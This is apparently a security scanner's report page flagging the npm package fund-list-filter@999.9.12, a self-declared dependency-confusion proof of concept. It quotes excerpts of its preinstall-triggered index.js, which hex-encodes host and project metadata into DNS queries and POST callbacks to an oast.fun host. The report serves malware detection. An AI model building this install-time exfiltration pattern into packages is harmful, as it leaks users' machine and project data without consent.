Loading npm security reports…

fund-list-filter@999.9.12: Malicious npm security report (Block) | LPM Firewall

registry / fund-list-filter / 999.9.12

fund-list-filter@999.9.12

AUTHORISED SECURITY RESEARCH — dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an inte

AI Security Review

scanned 2h ago · by lpm-firewall-ai

An npm preinstall hook automatically fingerprints the installing host and consuming project. It exfiltrates that data through DNS plus HTTP and HTTPS callbacks.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

Installing the dependency runs `node index.js` via `preinstall`.

Impact

An unconsented package install discloses machine identity, network identifiers, filesystem location, and consuming-project ownership metadata to a fixed external host.

Mechanism

Install-time host and project metadata exfiltration via DNS and web callbacks.

Attack narrative

On installation, the preinstall hook runs automatically. It reads host and project metadata, resolves public and DNS-network identifiers, encodes the resulting JSON into DNS labels, and sends duplicate HTTP/HTTPS POST callbacks to a fixed external host. This is concrete unconsented installation-time data exfiltration, regardless of the stated research purpose.

Rationale

Direct source inspection confirms automatic preinstall execution and multiple outbound channels carrying collected host and consumer-project metadata. The declared dependency-confusion PoC intent does not remove the concrete privacy and exfiltration behavior.

Evidence

package.jsonindex.jsREADME.md

Network endpoints5

da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.funapi.ipify.org

Source & flagged code

6 flagged

package.jsonView file

Lines 1-20json

2 "name": "fund-list-filter",

3 "version": "999.9.12",

4 "description": "AUTHORISED SECURITY RESEARCH \u2014 dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an internal package name from the public registry instead of your private one. On install it sends a hostname, username and install path to a callback so the finding can be confirmed, and does nothing else \u2014 no credentials, no environment variables, no file contents. Contact: stillm4dd@wearehackerone.com",

5 "main": "index.js",

6 "files": [

7 "index.js",

8 "README.md"

9 ],

10 "scripts": {

11 "preinstall": "node index.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L11

12 },

High

Suspicious Dependency Evidence

`preinstall` executes `index.js` automatically during dependency installation.

package.jsonView on unpkg · L10

13 "author": "stillm4dd@wearehackerone.com",

14 "license": "ISC",

15 "keywords": [

16 "security-research",

17 "dependency-confusion",

18 "proof-of-concept"

19 ]

20}

index.jsView file

Lines 126-166javascript

126 poc: PACKAGE,

127 parent: parent.name,

128 author: parent.author || null,

129 repository: parent.repository || null,

130

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"scripts": { "preinstall": "node index.js" }

High

Suspicious Dependency Evidence

`preinstall` executes `index.js` automatically during dependency installation.

package.jsonView on unpkg · L10

index.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const http = require("http"); const https = require("https"); const CALLBACK = "[redacted].oast.fun"; // because they fail in different situations: the HTTPS lookup gives this // host's egress address and needs outbound HTTP; the DNS lookup gives the const urls = ["https://api.ipify.org", "https://icanhazip.com", "https://ifconfig.me/ip"]; const req = https.get(url, { timeout: 2000 }, (res) => {

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = stillm4ddpocs-demo-sprocket@999.9.12 matchedPath = index.js matchedIdentity = npm:[redacted]:999.9.12 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 5ccc01a84753afbf signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = stillm4ddpocs-demo-sprocket@999.9.12 matchedPath = index.js matchedIdentity = npm:[redacted]:999.9.12 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

146const hex = Buffer.from(body).toString("hex"); const chunks = hex.match(/.{1,60}/g) || []; dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {}); chunks.forEach((c, i) => { try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {}

High

Ai Review Evidence

It hex-encodes the collected payload into DNS queries and also posts it over HTTP and HTTPS to a fixed callback host.

index.jsView on unpkg · L146

fund-list-filter@999.9.12

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code